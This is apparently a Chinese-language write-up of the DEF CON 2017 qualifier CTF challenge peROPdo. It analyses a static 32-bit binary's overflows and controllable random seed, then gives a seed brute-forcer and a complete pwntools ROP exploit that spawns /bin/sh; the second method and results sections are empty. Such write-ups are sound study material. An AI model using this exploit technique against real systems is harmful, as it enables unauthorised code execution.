defcon-qualifier-2017-peROPdo

简单题,没简介~

分析

保护只有NX:

1
2
3
4
5
6
7
➜  Desktop checksec peropdo 
[*] '/root/Desktop/peropdo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

整个程序是静态链接的,符号信息被剥离了,使用F.L.I.R.T.配合sig-database可以识别出大部分库函数,整个程序两个漏洞:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
_IO_puts("What is your name?");
_IO_fflush(stdout);
ssscanf("%s", gname); //明显的溢出,只是溢出位置在bss上不能直接控制返回地址
__srandom(*(int *)gname); //随机种子可控
return sub_8048EB0(gname);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:08048EB0                 push    ebp
.text:08048EB1 push edi
.text:08048EB2 mov edi, 2AAAAAABh
.text:08048EB7 push esi
.text:08048EB8 push ebx
.text:08048EB9 sub esp, 6Ch
.text:08048EBC mov eax, [esp+80h]
.text:08048EC3 lea ebp, [esp+1Ch]
.text:08048EC7 mov dword ptr [esp+4], offset aWelcomeToPerop ; "Welcome to peROPdo, %s\n"
.text:08048ECF mov dword ptr [esp], 1
.text:08048ED6 mov [esp+8], eax
.text:08048EDA call ssprintf
.text:08048EDF nop
.text:08048EE0
.text:08048EE0 loc_8048EE0: ; CODE XREF: sub_8048EB0+113↓j
.text:08048EE0 mov dword ptr [esp], offset aHowManyDiceWou ; "How many dice would you like to roll?"
.text:08048EE7 xor ebx, ebx ;置零
.text:08048EE9 call __IO_puts
.text:08048EEE mov eax, stdout
.text:08048EF3 lea esi, [esp+20h]
.text:08048EF7 mov [esp], eax
.text:08048EFA call __IO_fflush
.text:08048EFF mov [esp+4], ebp
.text:08048F03 mov dword ptr [esp], offset aD ; "%d"
.text:08048F0A call ssscanf
.text:08048F0F mov edx, [esp+1Ch]
.text:08048F13 test edx, edx
.text:08048F15 jle short loc_8048F29
.text:08048F17 nop
.text:08048F18
.text:08048F18 loc_8048F18: ; CODE XREF: sub_8048EB0+77↓j
.text:08048F18 call j____random
.text:08048F1D mov [esi+ebx*4], eax ;存栈上
.text:08048F20 add ebx, 1
.text:08048F23 cmp [esp+1Ch], ebx ;存输入的dices个
.text:08048F27 jg short loc_8048F18

由于种子可以控制,则可以轻易控制在某特定次的值,由于此处存在栈溢出,可以控制返回地址处的值。

利用

有两种利用方法,如下:

方法一

最简单的方法,使用scanf把rop写在bss上,再使用栈溢出控制ebp迁移栈到bss,只需要注意scanf的坏字符:0x09,0x0a,0x0b,0x0c,0x0d,0x20

  1. 使用爆破得到一个gname之后的bss的地址:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #include <stdio.h>
    #include <stdlib.h>
    int main(){
    unsigned int buffer=0x80ECFC0;
    unsigned int number[24];
    unsigned int count=0;


    for(unsigned int i=0; i <=0xffffffff; i++){
    srand((unsigned char*)i);
    for(int j=0; j<24; j++){
    number[j]=random();
    }

    if(0x80ECFC0 <= number[22] && number[22] < 0x80ed040){
    printf("seed : %u\t",i);
    printf("number[22]: %08x\n",number[22]);
    //break;
    }
    }
    }
  2. 利用代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    context.arch = 'i386'
    p = process('./peropdo')
    def sla(a,b):
    p.sendlineafter(b,a)
    def sa(a,b):
    p.sendafter(b,a)

    padding = 0x80ecfed - 0x080ECFC0
    seed = 76200282
    popEaxRet = 0x080e3525
    popEbxRet = 0x080481c9
    popEcxRet = 0x080e5ee1
    popEdxRet = 0x0806f2fa
    incEaxRet = 0x080e8da7
    int80 = 0x08049551
    ebxRet = 0x080ECFC0 + 0x04 + padding + 12*4
    payload = p32(seed) +'a'*padding +flat([popEbxRet,ebxRet,
    popEcxRet,0,
    popEdxRet,0,
    popEaxRet,8,
    incEaxRet,incEaxRet,incEaxRet,
    int80]) + '/bin/sh\0'
    for i in [0x09,0x0a,0x0b,0x0c,0x0d,0x20]:
    if chr(i) in payload:
    print 'cuola!'
    exit(0)
    #gdb.attach(p,'''
    # b *0x08048FCF
    # continue
    # ''')
    sla(payload , 'name?')
    sla('23','roll?')
    sla('n','again?')

    p.interactive()

    方法二

    ……………

结果

参考

[0] https://www.lazenca.net/pages/viewpage.action?pageId=1147550
[1] https://github.com/zj3t/ctf/tree/master/defcon2017/peROPdo
[2] http://asiagaming.tistory.com/110
[3] https://bamboofox.github.io/write-ups/2017/05/03/DEFCON-CTF-2017-Quals-peROPdo.html